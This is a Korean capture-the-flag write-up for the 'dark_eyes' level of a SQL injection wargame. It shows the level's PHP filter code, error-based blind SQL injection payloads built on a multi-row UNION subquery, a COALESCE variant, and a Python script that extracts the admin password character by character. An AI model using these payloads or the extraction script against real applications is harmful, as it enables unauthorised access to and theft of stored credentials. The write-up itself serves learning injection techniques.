Write-Up
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/col|if|case|when|sleep|benchmark/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(mysqli_error($db)) exit();
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("dark_eyes");
위 필터링에서 주요한 조건들은 if , case when, sleep 등의 함수들이 필터링 되고 있다는 것과 에러 출력 시, 에러가 응답 페이지로 전달되지 않고, 빈 페이지를 반환한다는 것이다. ($result['pw'] == $_GET['pw']) 조건에 의해 올바른 값을 pw 파라미터에 전달해야 하므로, error based blind sql inejction을 시도해야 한다.
?pw='+or+id='admin'+and+(select+1+union+select+length(pw)=8)--+
위와 같은 payload를 통해 참 반응을 얻어냈다. ( 빈 페이지가 호출되지 않으면, 참 반응이다. ) 즉 pw 길이는 8글자이다.
이제 아래와 같은 코드로 pw를 구하도록 한다.
import requests
import string
url="https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php?pw= "
cookies ={'PHPSESSID':"keogb0hg2e84st5u0ejgaa33d8"}
result=""
for i in range(1,9):
for j in range(32,127):
param="'or id='admin' and (select 1 union select ascii(substr(pw,"+str(i)+",1))="+str(j)+")--+"
URL = url+param
print(URL)
response = requests.get(URL, cookies=cookies)
# print(response.text)
if "query" in response.text:
result += chr(j)
print(result)
break
print("pw: "+result)
문제를 풀 수 있는 추가적인 방법..
?pw=' or (select id where id='admin')=coalesce((select id where id='admin' and length(pw)=8),(select 1 union select 2))%23
위와 같이 COALESCE(expr1, expr2, ...) 를 이용해 줄 수 있다. 해당 함수는 expr1이 NULL 이 아니면, expr1을 반환하고, expr1이 NULL 이면 expr2를 반환한다. 만약 expr1과 expr2가 모두 NULL이고, 다음 인수(expr3..?) 가 존재한다면 NULL이 아닌 값을 반환한다. 이 과정을 인수가 끝날 때까지 반복한다. 그러나 모든 인수가 NULL 이면 최종적으로는 NULL을 반환한다.
실습
sub query에 대한 실습을 진행한 예제이다. ( select 1 union select length(password)=32 ) 의 쿼리에서 union select length(password)=32 의 값이 참이라면, select 1 union select 1; 과 같은 꼴이 되어 서브쿼리 에러( Subquery returns more than 1 row )를 발생시키지 않는다. 하지만 false에 해당한다면, select 1 union select 0과 같은 꼴이 되어 행이 2개가 반환되어 서브쿼리 에러가 반환된다.
추가 공부..
서브쿼리